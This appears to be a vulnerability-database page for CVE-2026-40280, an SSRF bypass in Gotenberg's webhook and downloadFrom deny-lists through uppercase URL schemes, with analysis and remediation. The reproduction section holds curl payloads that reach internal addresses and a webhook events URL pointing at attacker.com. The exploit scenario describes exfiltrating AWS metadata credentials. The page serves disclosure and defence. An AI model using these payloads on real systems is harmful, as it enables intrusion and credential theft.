Skip to main content

Gotenberg EUVDEUVD-2026-27476

| CVE-2026-40280 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-04-30 https://github.com/gotenberg/gotenberg GHSA-5q7p-7jgv-ww56
7.8
CVSS 4.0 · Vendor: https://github.com/gotenberg/gotenberg
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify Gotenberg instance
  2. Delivery
    Craft conversion request with uppercase-scheme URL in webhook/downloadFrom
  3. Exploit
    Bypass case-sensitive deny-list regex
  4. Execution
    Gotenberg normalizes scheme and connects to internal target
  5. Persist
    Exfiltrate response via webhook callback or PDF content
  6. Impact
    Extract credentials/data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the Gotenberg instance to be network-reachable by the attacker (AV:N) and to have one of two features enabled: (1) webhook functionality (default in 8.x, triggered by setting Gotenberg-Webhook-Url header in Chromium conversion requests) or (2) downloadFrom functionality (triggered by passing downloadFrom JSON array in HTML/URL/Markdown conversion requests). The vulnerability exists in default configurations using the built-in deny-lists defined in pkg/modules/webhook/webhook.go:42 and pkg/modules/api/api.go:199; instances with custom --webhook-deny-list or --api-download-from-deny-list using case-insensitive regex ((?i) flag) are not vulnerable. No authentication is required (PR:N), and the instance does not need to be configured in any non-default mode beyond having webhook or downloadFrom features invoked. Limiting factors: (1) The Gotenberg instance must have network routes to the target internal IP ranges (127.0.0.0/8, RFC1918, link-local) or cloud metadata endpoint; instances deployed in isolated VPCs/VLANs with strict egress firewall rules blocking private IP ranges have reduced attack surface. (2) For cloud metadata exfiltration, the cloud provider's metadata service must be accessible (AWS IMDSv1, GCP metadata server without Metadata-Flavor header requirement). (3) For webhook-based exploitation, the attacker must control a domain/IP to receive the exfiltrated data via the Gotenberg-Webhook-Events-Url callback. Exploitation of downloadFrom does not require a callback server; the SSRF response is included inline in the returned PDF. Docker deployments using default Docker bridge networking (172.17.0.0/16) are at highest risk for internal service scanning. No user interaction required (UI:N).

Impact

Real-world risk is Critical for Gotenberg deployments in cloud or containerized environments with default configurations. CVSS 9.1 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N) accurately reflects the attack surface: network-reachable API requiring no authentication, low complexity (simple case-variation), Changed Scope (access to resources outside Gotenberg's trust boundary), High Confidentiality impact (internal service responses, cloud metadata), and Low Integrity impact (potential data manipulation via webhook callbacks). EPSS data not provided, but the combination of public exploit code in the advisory (curl commands demonstrating bypass), default-vulnerable configuration (deny-lists are opt-out, not opt-in), and high deployment prevalence in Docker environments elevates practical risk. SSRF to cloud metadata services (AWS IMDSv1 at 169.254.169.254) can yield IAM credentials and instance identity documents. The vulnerability is NOT in CISA KEV at time of analysis, suggesting no confirmed widespread exploitation, but the low attack complexity and publicly documented PoC make exploitation trivial once an attacker identifies a Gotenberg instance. Key risk amplifier: this is a regression of CVE-2026-27018, indicating process failure in secure development practices (the fix for one deny-list was not applied to newly added deny-lists). Mitigating factor: exploitation requires the victim Gotenberg instance to have network routes to the target internal resources; firewalled instances with no egress to RFC1918 or link-local ranges have reduced exposure. SSVC decision: Exploitation=PoC (public), Automatable=Yes (no user interaction), Technical Impact=Partial (confidentiality+limited integrity). Priority: Immediate patching for cloud/container deployments, scheduled for isolated on-premise instances without cloud metadata access.

Exploit ScenarioDerived

An attacker identifies a publicly exposed Gotenberg instance (version ≤8.30.1) via Shodan or application fingerprinting. They craft a POST request to /forms/chromium/convert/url with Gotenberg-Webhook-Url: HTTP://169.254.169.254/latest/meta-data/iam/security-credentials/instance-role (uppercase scheme bypasses deny-list). Gotenberg's FilterDeadline passes the URL (regex mismatch), the webhook module attempts HTTP delivery, and Go's HTTP client normalizes the scheme to lowercase and connects to the AWS metadata service. The metadata service responds with IAM temporary credentials in JSON format, which Gotenberg POSTs to the attacker-controlled Gotenberg-Webhook-Events-Url, exfiltrating the credentials. Alternatively, the attacker uses downloadFrom with HTTP://172.17.0.1:6379/ to probe Redis on the Docker bridge network; if Redis responds, its output is embedded in the generated PDF and returned to the attacker. Public PoC exists in the GitHub advisory with exact curl commands.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 30, 2026

Gotenberg versions up to 8.30.1 allow Server-Side Request Forgery (SSRF) against internal networks and cloud metadata endpoints via case-variation bypass of webhook and downloadFrom deny-lists. Remote unauthenticated attackers can use uppercase URL schemes (HTTP://, HTTPS://) to circumvent the default case-sensitive regex (^https?://) protecting private IP ranges; Go's net/url.Parse() normalizes schemes to lowercase during connection establishment, completing the bypass. The flaw affects two features added in commit 3f01ca1 (April 2026): webhook callback URLs and downloadFrom file fetching. Vendor-released patch version 8.31.0 available. CVSS 9.1 (Critical) with Changed Scope reflects potential access to instance metadata services (e.g., AWS 169.254.169.254) and internal APIs that return sensitive data in Content-Disposition headers. This is a regression of the pattern previously fixed in CVE-2026-27018 for the Chromium deny-list.

RemediationAI

Upgrade to Gotenberg 8.31.0 or later immediately. Docker users should pull gotenberg/gotenberg:8.31.0 or gotenberg/gotenberg:latest and redeploy containers (note: thecodingmachine/gotenberg images are discontinued per release notes). Version 8.31.0 introduces breaking changes including DNS resolution and IP validation before outbound requests, pinning connections to validated public IPs to prevent DNS rebinding, and defaulting --webhook-deny-list to block RFC1918/loopback/link-local ranges. If immediate patching is not feasible, apply the following compensating controls: (1) Use custom --webhook-deny-list and --api-download-from-deny-list regex patterns with case-insensitive flag, e.g., --webhook-deny-list='(?i)^https?://(127\.0\.0\.1|localhost|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|169\.254\.)' to explicitly block private ranges; trade-off is increased configuration complexity and potential for regex errors. (2) Deploy network egress filtering at the firewall/security-group level to block outbound connections from Gotenberg containers to 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, and fc00::/7; this defense-in-depth layer prevents exploitation even if application-level validation is bypassed, but does not protect against SSRF to localhost services on the Gotenberg container itself. (3) In AWS/GCP/Azure, enforce IMDSv2 (session-token-required metadata access) to limit metadata exfiltration; this reduces impact but does not prevent the SSRF. Workarounds are partial mitigations only; the patch is the authoritative fix.

Affected VersionsENISA

gotenberg ≤ 8.30.1

Affected Packages

go github.com/gotenberg/gotenberg/v7 no fix
go github.com/gotenberg/gotenberg/v8 fix: 8.31.0
euvd gotenberg no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gotenberg is a Docker-based document conversion API written in Go, commonly deployed in containerized environments with access to Docker bridge networks (172.17.0.0/16 by default). The vulnerability exploits a mismatch between deny-list validation (case-sensitive regex matching in pkg/gotenberg/filter.go:FilterDeadline) and URL handling (Go's net/url.Parse normalizes schemes to lowercase before DNS resolution and TCP dial). The default deny-lists in pkg/modules/webhook/webhook.go:42 and pkg/modules/api/api.go:199 use the regex ^https?://, which only matches lowercase 'http' or 'https'. When an attacker supplies HTTP://172.17.0.1, the regex fails to match, the URL passes validation, and Parse() subsequently converts it to http://172.17.0.1 for the outbound connection. CWE-918 (SSRF) arises because the application makes HTTP requests to attacker-controlled URLs without proper validation against internal address spaces. The affected pkg:go/github.com_gotenberg_gotenberg_v8 package is the main Gotenberg server. This is a textbook normalization inconsistency vulnerability: defense logic applies one interpretation of the input while the downstream consumer (HTTP client) applies a different, normalized interpretation.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/gotenberg/gotenberg) PRIMARY 7.8 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N
SUSE HIGH

Primary rating from Vendor (https://github.com/gotenberg/gotenberg).

CVSS VectorVendor: https://github.com/gotenberg/gotenberg

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
High
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

3
Severity Changed
May 05, 2026 - 20:22 NVD
CRITICAL HIGH
CVSS changed
May 05, 2026 - 20:22 NVD
9.3 (CRITICAL) 7.8 (HIGH)
CVE Published
Apr 30, 2026 - 17:19 nvd
CRITICAL 9.3

DescriptionCVE.org

Vulnerability Details

CWE: CWE-918 - Server-Side Request Forgery (SSRF)

The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally. Affected: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42, pkg/modules/api/api.go:199. Confirmed in Docker: http://172.17.0.1:12345/ returns HTTP 403 (blocked), HTTP://172.17.0.1:12345/ returns HTTP 202 (bypassed, TCP connection attempted). Same pattern as CVE-2026-27018/GHSA-jjwv-57xh-xr6r but in newly added webhook+downloadFrom deny-lists (commit 3f01ca1, 2026-04-07). Affected versions: <= 8.30.1. CVSS: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N = 9.1.

Summary

The default private-IP deny-lists for --webhook-deny-list and --api-download-from-deny-list use a case-sensitive regex (^https?://). Any uppercase URL scheme variant (HTTP://, HTTPS://, Http://) bypasses the pattern. Go's net/url.Parse() normalizes the scheme to lowercase when making the outbound TCP connection, so the connection succeeds normally.

The same bypass (case-insensitive scheme) was previously reported for the Chromium deny-list in CVE-2026-27018 (GHSA-jjwv-57xh-xr6r), but the newly added deny-lists for webhook and downloadFrom contain the identical flaw.

Affected file/function: pkg/gotenberg/filter.go:FilterDeadline(), pkg/modules/webhook/webhook.go:42 (default regex), pkg/modules/api/api.go:199 (default regex)

Steps to Reproduce

1. Start Gotenberg:
   docker run --rm -d -p 3001:3000 --name gotenberg-test gotenberg/gotenberg:8

2. Baseline - lowercase http:// is blocked (HTTP 403):
   curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
     -H "Gotenberg-Webhook-Url: http://172.17.0.1:12345/callback" \
     -H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
     -F "url=https://example.com/"

3. Bypass - uppercase HTTP:// bypasses deny-list (HTTP 202, connection attempted):
   curl -s -w "\nHTTP %{http_code}" -X POST http://localhost:3001/forms/chromium/convert/url \
     -H "Gotenberg-Webhook-Url: HTTP://172.17.0.1:12345/callback" \
     -H "Gotenberg-Webhook-Events-Url: http://attacker.com/events" \
     -F "url=https://example.com/"
# Returns 202 + Gotenberg logs: "Post \"http://172.17.0.1:12345/callback\": connection refused"

4. downloadFrom bypass (response content included in PDF):
   curl -s -w "\nHTTP %{http_code}" http://localhost:3001/forms/chromium/convert/html \
     -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
     -F 'downloadFrom=[{"url":"HTTP://172.17.0.1:12345/secret.html"}]' <<< '<html><body>test</body></html>'
# Error is "Unable to download file" (connection refused), not "filter URL" - bypass confirmed

Impact

An unauthenticated attacker can access internal network services (private IP ranges, loopback, link-local) that the deny-list was designed to block. The downloadFrom SSRF can exfiltrate content from internal services that respond with Content-Disposition headers. In cloud environments, this could allow access to instance metadata services (e.g., HTTP://169.254.169.254/latest/meta-data/). This bypasses the same security control that was patched in CVE-2026-27018.

Fix

Normalize the URL scheme to lowercase before passing to FilterDeadline, or compile deny-list regexes with the case-insensitive flag ((?i)).

Vulnerable Code

go
// See description for details

Steps to Reproduce

  1. Set up the application using the default configuration
  2. See the vulnerability details above

Impact

This vulnerability may allow an attacker to compromise the application.

Executive ViewAI

Why It Matters

Gotenberg versions 8.30.1 and earlier contain a critical Server-Side Request Forgery (SSRF) vulnerability that allows unauthenticated attackers to bypass security controls and access internal networks and cloud metadata services. Organizations using Gotenberg for document conversion or file handling face immediate risk of unauthorized access to sensitive infrastructure, including AWS metadata endpoints and internal APIs, potentially exposing credentials and configuration data.

Business Impact: Severe
Compensating Controls

Vendor-released patch: version 8.31.0. Interim mitigations if immediate patching is impossible: (1) Disable webhook and downloadFrom features if not required for operations; (2) Implement network-level controls to block Gotenberg egress to 169.254.169.254 and other internal metadata endpoints; (3) Apply Web Application Firewall rules to reject requests with uppercase URL schemes (HTTP://, HTTPS://) at application or reverse-proxy layer; (4) Restrict Gotenberg process permissions and network access via OS-level isolation.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

59
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +39
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy